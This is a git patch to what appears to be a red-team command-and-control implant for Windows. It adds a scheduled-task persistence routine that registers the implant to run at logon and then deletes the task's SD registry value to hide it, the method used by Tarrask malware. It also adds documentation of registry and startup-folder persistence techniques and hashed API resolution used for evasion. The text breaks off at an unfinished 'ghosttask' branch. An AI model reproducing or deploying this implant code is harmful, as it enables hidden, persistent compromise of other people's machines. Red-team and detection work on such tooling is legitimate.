From 51e328c5439da3c69cdc38fe41b5a4aa4551af8c Mon Sep 17 00:00:00 2001 From: hdks Date: Mon, 5 Aug 2024 23:28:38 +0900 Subject: [PATCH] Added the GhostTask technique for persistence --- docs/guides/task.md | 46 +- payload/win/implant/include/core/modules.hpp | 1 + payload/win/implant/include/core/procs.hpp | 37 +- payload/win/implant/include/core/stdout.hpp | 1 + payload/win/implant/include/core/task.hpp | 2 +- payload/win/implant/script/calc_hash_func.py | 9 +- payload/win/implant/src/core/handler.cpp | 6 +- payload/win/implant/src/core/modules.cpp | 1 + payload/win/implant/src/core/procs.cpp | 21 +- payload/win/implant/src/core/stdout.cpp | 18 + payload/win/implant/src/core/task/ip.cpp | 2 +- payload/win/implant/src/core/task/persist.cpp | 615 +++++++++++++++++- payload/win/implant/src/hermit.cpp | 9 + pkg/common/parser/amtaskcommand.go | 25 +- 14 files changed, 756 insertions(+), 37 deletions(-) diff --git a/docs/guides/task.md b/docs/guides/task.md index 5d46aed..3b9de18 100644 --- a/docs/guides/task.md +++ b/docs/guides/task.md @@ -262,34 +262,33 @@ Cleanup: Remove-ItemProperty -Path "HKCU:\Environment" -Name "UserInitMprLogonScript" ``` -### Technique 3: `screensaver` +### Technique 3: `default-file-extension-hijacking` -Add an entry (the implant path) to `HKCU\Control Panel\Desktop`. -The implant will run after a period of user inactivity. +Update an entry for `HKEY_CLASSES_ROOT\txtfile\shell\open\command`. +Overwrite the default application when clicking a `.txt` file. It's required to **Administrator** privilege. Cleanup: ```powershell title="Windows Victim Machine" -Remove-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name 'ScreenSaveTimeOut' -Remove-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name 'SCRNSAVE.EXE' +reg add "HKEY_CLASSES_ROOT\txtfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "%SystemRoot%\system32\NOTEPAD.EXE %1" ``` -### Technique 4: `default-file-extension-hijacking` +### Technique 4: `screensaver` -Update an entry for `HKEY_CLASSES_ROOT\txtfile\shell\open\command`. -Overwrite the default application when clicking a `.txt` file. It's required to **Administrator** privilege. +Add an entry (the implant path) to `HKCU\Control Panel\Desktop`. +The implant will run after a period of user inactivity. Cleanup: ```powershell title="Windows Victim Machine" -reg add "HKEY_CLASSES_ROOT\txtfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "%SystemRoot%\system32\NOTEPAD.EXE %1" +Remove-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name 'ScreenSaveTimeOut' +Remove-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name 'SCRNSAVE.EXE' ``` -### Technique 5: `ifeo` +### Technique 5: `ifeo` (Required: Administrator privilege) Uses **Image File Execution Options**. Write entries for `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe` and `HKLM\Software\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe`. -It's required to **Administrator** privilege. Cleanup: @@ -299,10 +298,31 @@ Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Si Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" -Name 'MonitorProcess' ``` -### Technique 6: `winlogon` +### Technique 6: `scheduled-task` (Required: Administrator privilege) + +Adds the implant path to the Scheduled Task. + +Cleanup: + +```powershell title="Windows Victim Machine" +schtasks /delete /tn "TaskName" /f +# or +reg delete "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\" /f +reg delete "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\" /f +``` + +### Technique 7: `ghosttask` (Required: SYSTEM privilege) + +Work in progress. + +### Technique 8: `startup-folder` + +Copies the implant to the **Startup** folder (`%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`). + +### Technique 9: `winlogon` (Required: Administrator privilege) Add an entry (the implant path) to `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon`. -The implant will run every time a user logs on. It's required to **Administrator** privilege. +The implant will run every time a user logs on. Cleanup: diff --git a/payload/win/implant/include/core/modules.hpp b/payload/win/implant/include/core/modules.hpp index 9da4438..760986d 100644 --- a/payload/win/implant/include/core/modules.hpp +++ b/payload/win/implant/include/core/modules.hpp @@ -31,6 +31,7 @@ namespace Modules HMODULE hKernel32; HMODULE hNetapi32; HMODULE hNtdll; + HMODULE hRpcrt4; HMODULE hShell32; HMODULE hUser32; HMODULE hWinHttp; diff --git a/payload/win/implant/include/core/procs.hpp b/payload/win/implant/include/core/procs.hpp index 16f623b..4aa7e35 100644 --- a/payload/win/implant/include/core/procs.hpp +++ b/payload/win/implant/include/core/procs.hpp @@ -85,6 +85,7 @@ #define HASH_FUNC_BCRYPTSETPROPERTY 0xadd558d6 #define HASH_FUNC_CHECKREMOTEDEBUGGERPRESENT 0x478dd921 #define HASH_FUNC_CLOSEHANDLE 0x47bdd9cb +#define HASH_FUNC_CONVERTSTRINGSECURITYDESCRIPTORTOSECURITYDESCRIPTORW 0x26bcd76f #define HASH_FUNC_CREATEFILEW 0x9dca9eca #define HASH_FUNC_CREATEPIPE 0xfee438df #define HASH_FUNC_CREATEPROCESSW 0x78f4d6f9 @@ -103,7 +104,7 @@ #define HASH_FUNC_FINDCLOSE 0xbfb52d8a #define HASH_FUNC_FINDFIRSTFILEW 0x8b7ad5b9 #define HASH_FUNC_FINDNEXTFILEW 0x9a714aba -#define HASH_FUNC_FORMATMESSAGE 0x73e1db +#define HASH_FUNC_FORMATMESSAGEW 0x3a2a4d5c #define HASH_FUNC_FREEENVIRONMENTSTRINGSW 0xebf072c7 #define HASH_FUNC_FREELIBRARY 0x26174ba #define HASH_FUNC_GETADAPTERSADDRESSES 0xc7179a9d @@ -142,6 +143,7 @@ #define HASH_FUNC_LOADLIBRARYW 0x7069f257 #define HASH_FUNC_LOCALALLOC 0xa505c69f #define HASH_FUNC_LOCALFREE 0x50d0ddc2 +#define HASH_FUNC_LOOKUPACCOUNTNAMEW 0x4368982e #define HASH_FUNC_LOOKUPPRIVILEGENAMEW 0x559348ea #define HASH_FUNC_LOOKUPPRIVILEGEVALUEW 0x6e9aab88 #define HASH_FUNC_MESSAGEBOXA 0xcc4a1d08 @@ -161,6 +163,8 @@ #define HASH_FUNC_READPROCESSMEMORY 0xb29e4a5 #define HASH_FUNC_REGCLOSEKEY 0x2fd69f86 #define HASH_FUNC_REGCREATEKEYEXW 0x8d1b9d00 +#define HASH_FUNC_REGDELETEKEYEXW 0xd26a706f +#define HASH_FUNC_REGDELETEVALUEW 0xf2d26ad0 #define HASH_FUNC_REGENUMKEYEXW 0x1118d05 #define HASH_FUNC_REGENUMVALUEW 0x21798766 #define HASH_FUNC_REGISTERCLASSEXW 0xab97084 @@ -170,6 +174,7 @@ #define HASH_FUNC_REGSETVALUEEXW 0x9dbfac36 #define HASH_FUNC_REMOVEDIRECTORYW 0x41880283 #define HASH_FUNC_REVERTTOSELF 0x6c5291c0 +#define HASH_FUNC_RPCSTRINGFREEW 0x32500f4a #define HASH_FUNC_RTLADDFUNCTIONTABLE 0xbe7f92ca #define HASH_FUNC_RTLCOPYMEMORY 0xfd82b9ab #define HASH_FUNC_SETFILEINFORMATIONBYHANDLE 0xbfea4fe2 @@ -183,6 +188,8 @@ #define HASH_FUNC_TRANSLATEACCELERATORW 0xecb91305 #define HASH_FUNC_TRANSLATEMESSAGE 0xf1acceae #define HASH_FUNC_UPDATEWINDOW 0x401c176e +#define HASH_FUNC_UUIDCREATE 0x7aa0c3ac +#define HASH_FUNC_UUIDTOSTRINGW 0xde9753b #define HASH_FUNC_VIRTUALALLOC 0x5ae0dabf #define HASH_FUNC_VIRTUALALLOCEX 0x104fd152 #define HASH_FUNC_VIRTUALFREE 0x640675a2 @@ -334,6 +341,8 @@ namespace Procs typedef BOOL (WINAPI* LPPROC_CHECKREMOTEDEBUGGERPRESENT)(HANDLE hProcess, PBOOL pbDebuggerPresent); // CloseHandle typedef BOOL (WINAPI* LPPROC_CLOSEHANDLE)(HANDLE hObject); + // ConvertStringSecurityDescriptorToSecurityDescriptorW + typedef BOOL (WINAPI* LPPROC_CONVERTSTRINGSECURITYDESCRIPTORTOSECURITYDESCRIPTORW)(LPCWSTR StringSecurityDescriptor, DWORD StringSDRevision, PSECURITY_DESCRIPTOR *SecurityDescriptor, PULONG SecurityDescriptorSize); // CreateFileW typedef HANDLE (WINAPI* LPPROC_CREATEFILEW)(LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); // CreatePipe @@ -368,8 +377,8 @@ namespace Procs typedef HANDLE (WINAPI* LPPROC_FINDFIRSTFILEW)(LPCWSTR lpFileName, LPWIN32_FIND_DATAW lpFindFileData); // FindNextFileW typedef BOOL (WINAPI* LPPROC_FINDNEXTFILEW)(HANDLE hFindFile, LPWIN32_FIND_DATAW lpFindFileData); - // FormatMessage - typedef DWORD (WINAPI* LPPROC_FORMATMESSAGE)(DWORD dwFlags, LPCVOID lpSource, DWORD dwMessageId, DWORD dwLanguageId, LPTSTR lpBuffer, DWORD nSize, va_list *Arguments); + // FormatMessageW + typedef DWORD (WINAPI* LPPROC_FORMATMESSAGEW)(DWORD dwFlags, LPCVOID lpSource, DWORD dwMessageId, DWORD dwLanguageId, LPWSTR lpBuffer, DWORD nSize, va_list *Arguments); // FreeEnvironmentStringsW typedef BOOL (WINAPI* LPPROC_FREEENVIRONMENTSTRINGSW)(LPWCH penv); // FreeLibrary @@ -446,6 +455,8 @@ namespace Procs typedef HLOCAL (WINAPI* LPPROC_LOCALALLOC)(UINT uFlags, SIZE_T uBytes); // LocalFree typedef HLOCAL (WINAPI* LPPROC_LOCALFREE)(HLOCAL hMem); + // LookupAccountNameW + typedef BOOL (WINAPI* LPPROC_LOOKUPACCOUTNAMEW)(LPCWSTR lpSystemName, LPCWSTR lpAccountName, PSID Sid, LPDWORD cbSid, LPWSTR ReferencedDomainName, LPDWORD cchReferencedDomainName, PSID_NAME_USE peUse); // LookupPrivilegeNameW typedef BOOL (WINAPI* LPPROC_LOOKUPPRIVILEGENAMEW)(LPCWSTR lpSystemName, PLUID lpLuid, LPWSTR lpName, LPDWORD cchName); // LookupPrivilegeValueW @@ -484,6 +495,10 @@ namespace Procs typedef LSTATUS (WINAPI* LPPROC_REGCLOSEKEY)(HKEY hKey); // RegCreateKeyExW typedef LSTATUS (WINAPI* LPPROC_REGCREATEKEYEXW)(HKEY hKey, LPCWSTR lpSubKey, DWORD Reserved, LPWSTR lpClass, DWORD dwOptions, REGSAM samDesired, const LPSECURITY_ATTRIBUTES lpSecurityAttributes, PHKEY phkResult, LPDWORD lpdwDisposition); + // RegDeleteKeyExW + typedef LSTATUS (WINAPI* LPPROC_REGDELETEKEYEXW)(HKEY hKey, LPCWSTR lpSubKey, REGSAM samDesired, DWORD Reserved); + // RegDeleteValueW + typedef LSTATUS (WINAPI* LPPROC_REGDELETEVALUEW)(HKEY hKey, LPCWSTR lpValueName); // RegEnumKeyExW typedef LSTATUS (WINAPI* LPPROC_REGENUMKEYEXW)(HKEY hKey, DWORD dwIndex, LPWSTR lpName, LPDWORD lpcchName, LPDWORD lpReserved, LPWSTR lpClass, LPDWORD lpcchClass, PFILETIME lpftLastWriteTime); // RegEnumValueW @@ -502,6 +517,8 @@ namespace Procs typedef BOOL (WINAPI* LPPROC_REMOVEDIRECTORYW)(LPCWSTR lpPathName); // RevertToSelf typedef BOOL (WINAPI* LPPROC_REVERTTOSELF)(); + // RpcStringFreeW + typedef RPC_STATUS(WINAPI* LPPROC_RPCSTRINGFREEW)(RPC_WSTR *String); // RtlAddFunctionTable typedef BOOL (WINAPI* LPPROC_RTLADDFUNCTIONTABLE)(PRUNTIME_FUNCTION FunctionTable, DWORD EntryCount, DWORD64 BaseAddress); // RtlCopyMemory @@ -526,6 +543,10 @@ namespace Procs typedef BOOL (WINAPI* LPPROC_TRANSLATEMESSAGE)(const MSG *lpMsg); // UpdateWindow typedef BOOL (WINAPI* LPPROC_UPDATEWINDOW)(HWND hWnd); + // UuidCreate + typedef RPC_STATUS (WINAPI* LPPROC_UUIDCREATE)(UUID *Uuid); + // UuidToStringW + typedef RPC_STATUS (WINAPI* LPPROC_UUIDTOSTRINGW)(const UUID *Uuid, RPC_WSTR *StringUuid); // VirtualAlloc typedef LPVOID (WINAPI* LPPROC_VIRTUALALLOC)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); // VirtualAllocEx @@ -632,6 +653,7 @@ namespace Procs LPPROC_BCRYPTSETPROPERTY lpBCryptSetProperty = nullptr; LPPROC_CHECKREMOTEDEBUGGERPRESENT lpCheckRemoteDebuggerPresent = nullptr; LPPROC_CLOSEHANDLE lpCloseHandle = nullptr; + LPPROC_CONVERTSTRINGSECURITYDESCRIPTORTOSECURITYDESCRIPTORW lpConvertStringSecurityDescriptorToSecurityDescriptorW = nullptr; LPPROC_CREATEFILEW lpCreateFileW = nullptr; LPPROC_CREATEPIPE lpCreatePipe = nullptr; LPPROC_CREATEPROCESSW lpCreateProcessW = nullptr; @@ -648,7 +670,7 @@ namespace Procs LPPROC_FINDCLOSE lpFindClose = nullptr; LPPROC_FINDFIRSTFILEW lpFindFirstFileW = nullptr; LPPROC_FINDNEXTFILEW lpFindNextFileW = nullptr; - LPPROC_FORMATMESSAGE lpFormatMessage = nullptr; + LPPROC_FORMATMESSAGEW lpFormatMessageW = nullptr; LPPROC_FREEENVIRONMENTSTRINGSW lpFreeEnvironmentStringsW = nullptr; LPPROC_FREELIBRARY lpFreeLibrary = nullptr; LPPROC_GETADAPTERSADDRESSES lpGetAdaptersAddresses = nullptr; @@ -687,6 +709,7 @@ namespace Procs LPPROC_LOADLIBRARYW lpLoadLibraryW = nullptr; LPPROC_LOCALALLOC lpLocalAlloc = nullptr; LPPROC_LOCALFREE lpLocalFree = nullptr; + LPPROC_LOOKUPACCOUTNAMEW lpLookupAccountNameW = nullptr; LPPROC_LOOKUPPRIVILEGENAMEW lpLookupPrivilegeNameW = nullptr; LPPROC_LOOKUPPRIVILEGEVALUEW lpLookupPrivilegeValueW = nullptr; LPPROC_MINIDUMPWRITEDUMP lpMiniDumpWriteDump = nullptr; @@ -704,6 +727,8 @@ namespace Procs LPPROC_READPROCESSMEMORY lpReadProcessMemory = nullptr; LPPROC_REGCLOSEKEY lpRegCloseKey = nullptr; LPPROC_REGCREATEKEYEXW lpRegCreateKeyExW = nullptr; + LPPROC_REGDELETEKEYEXW lpRegDeleteKeyExW = nullptr; + LPPROC_REGDELETEVALUEW lpRegDeleteValueW = nullptr; LPPROC_REGENUMKEYEXW lpRegEnumKeyExW = nullptr; LPPROC_REGENUMVALUEW lpRegEnumValueW = nullptr; LPPROC_REGISTERCLASSEXW lpRegisterClassExW = nullptr; @@ -713,6 +738,7 @@ namespace Procs LPPROC_REGSETVALUEEXW lpRegSetValueExW = nullptr; LPPROC_REMOVEDIRECTORYW lpRemoveDirectoryW = nullptr; LPPROC_REVERTTOSELF lpRevertToSelf = nullptr; + LPPROC_RPCSTRINGFREEW lpRpcStringFreeW = nullptr; LPPROC_RTLCOPYMEMORY lpRtlCopyMemory = nullptr; LPPROC_SETFILEINFORMATIONBYHANDLE lpSetFileInformationByHandle = nullptr; LPPROC_SETHANDLEINFORMATION lpSetHandleInformation = nullptr; @@ -724,6 +750,8 @@ namespace Procs LPPROC_TRANSLATEACCELERATORW lpTranslateAcceleratorW = nullptr; LPPROC_TRANSLATEMESSAGE lpTranslateMessage = nullptr; LPPROC_UPDATEWINDOW lpUpdateWindow = nullptr; + LPPROC_UUIDCREATE lpUuidCreate = nullptr; + LPPROC_UUIDTOSTRINGW lpUuidToStringW = nullptr; LPPROC_VIRTUALALLOCEX lpVirtualAllocEx = nullptr; LPPROC_VIRTUALFREE lpVirtualFree = nullptr; LPPROC_VIRTUALPROTECT lpVirtualProtect = nullptr; @@ -813,6 +841,7 @@ namespace Procs HMODULE hDbghelp, HMODULE hIphlpapi, HMODULE hNetapi32, + HMODULE hRpcrt4, HMODULE hShell32, HMODULE hUser32, HMODULE hWinHttp, diff --git a/payload/win/implant/include/core/stdout.hpp b/payload/win/implant/include/core/stdout.hpp index 8b5672d..756450f 100644 --- a/payload/win/implant/include/core/stdout.hpp +++ b/payload/win/implant/include/core/stdout.hpp @@ -8,6 +8,7 @@ namespace Stdout { + std::wstring GetErrorMessage(DWORD dwErrorCode); INT DisplayMessageBoxA(LPCSTR text, LPCSTR caption); INT DisplayMessageBoxW(LPCWSTR text, LPCWSTR caption); INT DisplayErrorMessageBoxW(LPCWSTR caption); diff --git a/payload/win/implant/include/core/task.hpp b/payload/win/implant/include/core/task.hpp index c3b3f05..a4f12be 100644 --- a/payload/win/implant/include/core/task.hpp +++ b/payload/win/implant/include/core/task.hpp @@ -174,7 +174,7 @@ namespace Task std::wstring Mv(State::PSTATE pState, const std::wstring& wSrc, const std::wstring& wDest); std::wstring Net(State::PSTATE pState); std::wstring Pe(State::PSTATE pState, const std::wstring& wTargetProcess, const std::wstring& wSrc, const std::wstring& wTechnique); - std::wstring Persist(State::PSTATE pState, const std::wstring& wTechnique); + std::wstring Persist(State::PSTATE pState, const std::wstring& wTechnique, const std::wstring& wSchTaskName); std::wstring Procdump(State::PSTATE pState, const std::wstring& wPid); std::wstring PsKill(State::PSTATE pState, const std::wstring& wPid); std::wstring PsLs(State::PSTATE pState, const std::wstring& wFilter, const std::wstring& wExclude); diff --git a/payload/win/implant/script/calc_hash_func.py b/payload/win/implant/script/calc_hash_func.py index 3f27625..57b6349 100644 --- a/payload/win/implant/script/calc_hash_func.py +++ b/payload/win/implant/script/calc_hash_func.py @@ -70,6 +70,7 @@ "CoCreateInstance", "CoInitializeEx", "CoInitializeSecurity", + "ConvertStringSecurityDescriptorToSecurityDescriptorW", "CoUninitialize", "CreateFileW", "CreatePipe", @@ -89,7 +90,7 @@ "FindClose", "FindFirstFileW", "FindNextFileW", - "FormatMessage", + "FormatMessageW", "FreeEnvironmentStringsW", "FreeLibrary", "GetAdaptersAddresses", @@ -128,6 +129,7 @@ "LoadLibraryW", "LocalAlloc", "LocalFree", + "LookupAccountNameW", "LookupPrivilegeNameW", "LookupPrivilegeValueW", "MessageBoxA", @@ -147,6 +149,8 @@ "ReadProcessMemory", "RegCloseKey", "RegCreateKeyExW", + "RegDeleteKeyExW", + "RegDeleteValueW", "RegEnumKeyExW", "RegEnumValueW", "RegisterClassExW", @@ -156,6 +160,7 @@ "RegSetValueExW", "RemoveDirectoryW", "RevertToSelf", + "RpcStringFreeW", "RtlAddFunctionTable", "RtlCopyMemory", "SetFileInformationByHandle", @@ -169,6 +174,8 @@ "TranslateAcceleratorW", "TranslateMessage", "UpdateWindow", + "UuidCreate", + "UuidToStringW", "VirtualAlloc", "VirtualAllocEx", "VirtualProtect", diff --git a/payload/win/implant/src/core/handler.cpp b/payload/win/implant/src/core/handler.cpp index 88a00a7..bd25c86 100644 --- a/payload/win/implant/src/core/handler.cpp +++ b/payload/win/implant/src/core/handler.cpp @@ -315,7 +315,11 @@ namespace Handler ); break; case TASK_PERSIST: - wTaskResult = Task::Persist(pState, Utils::Convert::UTF8Decode(args["technique"])); + wTaskResult = Task::Persist( + pState, + Utils::Convert::UTF8Decode(args["technique"]), + Utils::Convert::UTF8Decode(args["schtask_name"]) + ); break; case TASK_PROCDUMP: wTaskResult = Task::Procdump(pState, Utils::Convert::UTF8Decode(args["pid"])); diff --git a/payload/win/implant/src/core/modules.cpp b/payload/win/implant/src/core/modules.cpp index 5d7ea8b..c036e9c 100644 --- a/payload/win/implant/src/core/modules.cpp +++ b/payload/win/implant/src/core/modules.cpp @@ -103,6 +103,7 @@ namespace Modules pProcs->lpFreeLibrary(pModules->hIphlpapi); pProcs->lpFreeLibrary(pModules->hNetapi32); pProcs->lpFreeLibrary(pModules->hNtdll); + pProcs->lpFreeLibrary(pModules->hRpcrt4); pProcs->lpFreeLibrary(pModules->hShell32); pProcs->lpFreeLibrary(pModules->hUser32); pProcs->lpFreeLibrary(pModules->hWinHttp); diff --git a/payload/win/implant/src/core/procs.cpp b/payload/win/implant/src/core/procs.cpp index 1d73256..403c472 100644 --- a/payload/win/implant/src/core/procs.cpp +++ b/payload/win/implant/src/core/procs.cpp @@ -181,8 +181,8 @@ namespace Procs pProcs->lpFindFirstFileW = reinterpret_cast(pFindFirstFileW); PVOID pFindNextFileW = GetProcAddressByHash(hKernel32, HASH_FUNC_FINDNEXTFILEW); pProcs->lpFindNextFileW = reinterpret_cast(pFindNextFileW); - PVOID pFormatMessage = GetProcAddressByHash(hKernel32, HASH_FUNC_FORMATMESSAGE); - pProcs->lpFormatMessage = reinterpret_cast(pFormatMessage); + PVOID pFormatMessageW = GetProcAddressByHash(hKernel32, HASH_FUNC_FORMATMESSAGEW); + pProcs->lpFormatMessageW = reinterpret_cast(pFormatMessageW); PVOID pFreeLibrary = GetProcAddressByHash(hKernel32, HASH_FUNC_FREELIBRARY); pProcs->lpFreeLibrary = reinterpret_cast(pFreeLibrary); PVOID pGetComputerNameW = GetProcAddressByHash(hKernel32, HASH_FUNC_GETCOMPUTERNAMEW); @@ -327,6 +327,7 @@ namespace Procs HMODULE hDbghelp, HMODULE hIphlpapi, HMODULE hNetapi32, + HMODULE hRpcrt4, HMODULE hShell32, HMODULE hUser32, HMODULE hWinHttp, @@ -335,6 +336,8 @@ namespace Procs // Advapi32 PVOID pAdjustTokenPrivileges = GetProcAddressByHash(hAdvapi32, HASH_FUNC_ADJUSTTOKENPRIVILEGES); pProcs->lpAdjustTokenPrivileges = reinterpret_cast(pAdjustTokenPrivileges); + PVOID pConvertStringSecurityDescriptorToSecurityDescriptorW = GetProcAddressByHash(hAdvapi32, HASH_FUNC_CONVERTSTRINGSECURITYDESCRIPTORTOSECURITYDESCRIPTORW); + pProcs->lpConvertStringSecurityDescriptorToSecurityDescriptorW = reinterpret_cast(pConvertStringSecurityDescriptorToSecurityDescriptorW); PVOID pCreateProcessWithTokenW = GetProcAddressByHash(hAdvapi32, HASH_FUNC_CREATEPROCESSWITHTOKENW); pProcs->lpCreateProcessWithTokenW = reinterpret_cast(pCreateProcessWithTokenW); PVOID pDuplicateTokenEx = GetProcAddressByHash(hAdvapi32, HASH_FUNC_DUPLICATETOKENEX); @@ -345,6 +348,8 @@ namespace Procs pProcs->lpGetUserNameW = reinterpret_cast(pGetUserNameW); PVOID pImpersonateLoggedOnUser = GetProcAddressByHash(hAdvapi32, HASH_FUNC_IMPERSONATELOGGEDONUSER); pProcs->lpImpersonateLoggedOnUser = reinterpret_cast(pImpersonateLoggedOnUser); + PVOID pLookupAccountNameW = GetProcAddressByHash(hAdvapi32, HASH_FUNC_LOOKUPACCOUNTNAMEW); + pProcs->lpLookupAccountNameW = reinterpret_cast(pLookupAccountNameW); PVOID pLookupPrivilegeNameW = GetProcAddressByHash(hAdvapi32, HASH_FUNC_LOOKUPPRIVILEGENAMEW); pProcs->lpLookupPrivilegeNameW = reinterpret_cast(pLookupPrivilegeNameW); PVOID pLookupPrivilegeValueW = GetProcAddressByHash(hAdvapi32, HASH_FUNC_LOOKUPPRIVILEGEVALUEW); @@ -357,6 +362,10 @@ namespace Procs pProcs->lpRegCloseKey = reinterpret_cast(pRegCloseKey); PVOID pRegCreateKeyExW = GetProcAddressByHash(hAdvapi32, HASH_FUNC_REGCREATEKEYEXW); pProcs->lpRegCreateKeyExW = reinterpret_cast(pRegCreateKeyExW); + PVOID pRegDeleteKeyExW = GetProcAddressByHash(hAdvapi32, HASH_FUNC_REGDELETEKEYEXW); + pProcs->lpRegDeleteKeyExW = reinterpret_cast(pRegDeleteKeyExW); + PVOID pRegDeleteValueW = GetProcAddressByHash(hAdvapi32, HASH_FUNC_REGDELETEVALUEW); + pProcs->lpRegDeleteValueW = reinterpret_cast(pRegDeleteValueW); PVOID pRegEnumKeyExW = GetProcAddressByHash(hAdvapi32, HASH_FUNC_REGENUMKEYEXW); pProcs->lpRegEnumKeyExW = reinterpret_cast(pRegEnumKeyExW); PVOID pRegEnumValueW = GetProcAddressByHash(hAdvapi32, HASH_FUNC_REGENUMVALUEW); @@ -422,6 +431,14 @@ namespace Procs PVOID pNetUserEnum = GetProcAddressByHash(hNetapi32, HASH_FUNC_NETUSERENUM); pProcs->lpNetUserEnum = reinterpret_cast(pNetUserEnum); + // Rpcrt4 + PVOID pRpcStringFreeW = GetProcAddressByHash(hRpcrt4, HASH_FUNC_RPCSTRINGFREEW); + pProcs->lpRpcStringFreeW = reinterpret_cast(pRpcStringFreeW); + PVOID pUuidCreate = GetProcAddressByHash(hRpcrt4, HASH_FUNC_UUIDCREATE); + pProcs->lpUuidCreate = reinterpret_cast(pUuidCreate); + PVOID pUuidToStringW = GetProcAddressByHash(hRpcrt4, HASH_FUNC_UUIDTOSTRINGW); + pProcs->lpUuidToStringW = reinterpret_cast(pUuidToStringW); + // Shell32 PVOID pShellExecuteExW = GetProcAddressByHash(hShell32, HASH_FUNC_SHELLEXECUTEEXW); pProcs->lpShellExecuteExW = reinterpret_cast(pShellExecuteExW); diff --git a/payload/win/implant/src/core/stdout.cpp b/payload/win/implant/src/core/stdout.cpp index 49bbcd1..be8d18a 100644 --- a/payload/win/implant/src/core/stdout.cpp +++ b/payload/win/implant/src/core/stdout.cpp @@ -2,6 +2,24 @@ namespace Stdout { + std::wstring GetErrorMessage(DWORD dwErrorCode) + { + WCHAR* wMsgBuf = nullptr; + size_t size = FormatMessageW( + FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, + nullptr, + dwErrorCode, + 0, + (WCHAR*)&wMsgBuf, + 0, + nullptr + ); + + std::wstring wMsg(wMsgBuf, size); + LocalFree(wMsgBuf); + return wMsg; + } + INT DisplayMessageBoxA(LPCSTR text, LPCSTR caption) { INT msgBoxId = MessageBoxA( diff --git a/payload/win/implant/src/core/task/ip.cpp b/payload/win/implant/src/core/task/ip.cpp index 7b08095..546a55f 100644 --- a/payload/win/implant/src/core/task/ip.cpp +++ b/payload/win/implant/src/core/task/ip.cpp @@ -213,7 +213,7 @@ namespace Task } else { - if (pState->pProcs->lpFormatMessage( + if (pState->pProcs->lpFormatMessageW( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, dwRetVal, diff --git a/payload/win/implant/src/core/task/persist.cpp b/payload/win/implant/src/core/task/persist.cpp index b86f714..bd74268 100644 --- a/payload/win/implant/src/core/task/persist.cpp +++ b/payload/win/implant/src/core/task/persist.cpp @@ -2,8 +2,11 @@ namespace Task { - std::wstring Persist(State::PSTATE pState, const std::wstring& wTechnique) - { + std::wstring Persist( + State::PSTATE pState, + const std::wstring& wTechnique, + const std::wstring& wSchTaskName // It is used for the "scheduled-task" and "ghosttask" techniques. + ) { // Get current program (implant) path. WCHAR wSelfPath[MAX_PATH]; DWORD dwResult = pState->pProcs->lpGetModuleFileNameW(NULL, wSelfPath, MAX_PATH); @@ -210,9 +213,12 @@ namespace Task } else if (wcscmp(wTechnique.c_str(), L"scheduled-task") == 0) { + // ------------------------------------------------------------------ + // Create new task + // ------------------------------------------------------------------ + std::wstring wResult = L""; - std::wstring wTaskName = L"EvilTask"; - std::wstring wCommand = L"schtasks /create /tn \"" + wTaskName + L"\" /sc ONLOGON /tr \"" + std::wstring(lpSelfPath) + L"\""; + std::wstring wCommand = L"schtasks /create /tn \"" + wSchTaskName + L"\" /sc ONLOGON /tr \"" + std::wstring(lpSelfPath) + L"\""; STARTUPINFO si; PROCESS_INFORMATION pi; @@ -242,13 +248,16 @@ namespace Task nullptr ); - // Get exit code. + // ------------------------------------------------------------------ + // Get exit code + // ------------------------------------------------------------------ + DWORD dwExitCode; if (pState->pProcs->lpGetExitCodeProcess(pi.hProcess, &dwExitCode)) { if (dwExitCode == 0) { - wResult = L"Success: Task \"" + wTaskName + L"\" registered successfully."; + wResult = L"Success: Task \"" + wSchTaskName + L"\" registered successfully."; } else if (dwExitCode == 5) { @@ -275,8 +284,594 @@ namespace Task System::Handle::HandleClose(pState->pProcs, pi.hProcess); System::Handle::HandleClose(pState->pProcs, pi.hThread); + // ------------------------------------------------------------------ + // Delete the SD registry key to hide from schtasks command. + // Reference: https://www.microsoft.com/en-us/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/ + + // *Currently, the Access Denied error occurs. + // ------------------------------------------------------------------ + + HKEY hKey; + std::wstring wSubKey = L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\" + wSchTaskName; + + LONG result = pState->pProcs->lpRegOpenKeyExW( + HKEY_LOCAL_MACHINE, + wSubKey.c_str(), + 0, + KEY_SET_VALUE, + &hKey + ); + if (result != ERROR_SUCCESS) + { + std::wstring wErrMsg = Stdout::GetErrorMessage(result); + return L"Warning: Scheduled task set successfully, but could not delete the SD registry key: " + wErrMsg; + } + + result = pState->pProcs->lpRegDeleteValueW(hKey, L"SD"); + if (result != ERROR_SUCCESS) + { + pState->pProcs->lpRegCloseKey(hKey); + std::wstring wErrMsg = Stdout::GetErrorMessage(result); + return L"Warning: Scheduled task set successfully, but could not delete the SD registry key: " + wErrMsg; + } + + pState->pProcs->lpRegCloseKey(hKey); + return wResult; } + else if (wcscmp(wTechnique.c_str(), L"ghosttask") == 0) + { + // References: + // - 